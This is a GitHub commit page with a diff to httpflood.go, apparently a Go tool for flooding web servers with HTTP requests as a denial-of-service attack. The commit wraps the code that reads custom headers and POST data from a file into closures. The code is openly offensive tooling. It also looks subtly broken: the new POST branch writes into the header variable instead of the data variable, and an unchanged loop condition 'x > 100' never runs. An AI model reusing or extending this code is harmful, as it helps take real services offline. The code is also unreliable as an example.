Skip to content

Commit 91cfa42

Browse files
authored
Fix
1 parent 68a3552 commit 91cfa42

File tree

1 file changed

+30
-26
lines changed

1 file changed

+30
-26
lines changed

httpflood.go

Lines changed: 30 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -130,38 +130,42 @@ func flood(ip, port, page, mode string) {
130130
header += acceptall[rand.Intn(len(acceptall))]
131131
header += referers[rand.Intn(len(referers))] + "\r\n"
132132
} else {
133-
fi, err := os.Open(os.Args[7])
134-
if err != nil {
135-
fmt.Printf("Error: %s\n", err)
136-
return
137-
}
138-
defer fi.Close()
139-
br := bufio.NewReader(fi)
140-
for {
141-
a, _, c := br.ReadLine()
142-
if c == io.EOF {
143-
break
133+
func() {
134+
fi, err := os.Open(os.Args[7])
135+
if err != nil {
136+
fmt.Printf("Error: %s\n", err)
137+
return
144138
}
145-
header += string(a) + "\r\n"
146-
}
139+
defer fi.Close()
140+
br := bufio.NewReader(fi)
141+
for {
142+
a, _, c := br.ReadLine()
143+
if c == io.EOF {
144+
break
145+
}
146+
header += string(a) + "\r\n"
147+
}
148+
}()
147149
}
148150
} else if mode == "post" {
149151
data := ""
150152
if os.Args[7] != "nil" {
151-
fi, err := os.Open(os.Args[7])
152-
if err != nil {
153-
fmt.Printf("Error: %s\n", err)
154-
return
155-
}
156-
defer fi.Close()
157-
br := bufio.NewReader(fi)
158-
for {
159-
a, _, c := br.ReadLine()
160-
if c == io.EOF {
161-
break
153+
func() {
154+
fi, err := os.Open(os.Args[7])
155+
if err != nil {
156+
fmt.Printf("Error: %s\n", err)
157+
return
162158
}
163-
data += string(a) + "\r\n"
164-
}
159+
defer fi.Close()
160+
br := bufio.NewReader(fi)
161+
for {
162+
a, _, c := br.ReadLine()
163+
if c == io.EOF {
164+
break
165+
}
166+
header += string(a) + "\r\n"
167+
}
168+
}()
165169

166170
} else {
167171
for x := 0; x > 100; x++ {

0 commit comments

Comments
 (0)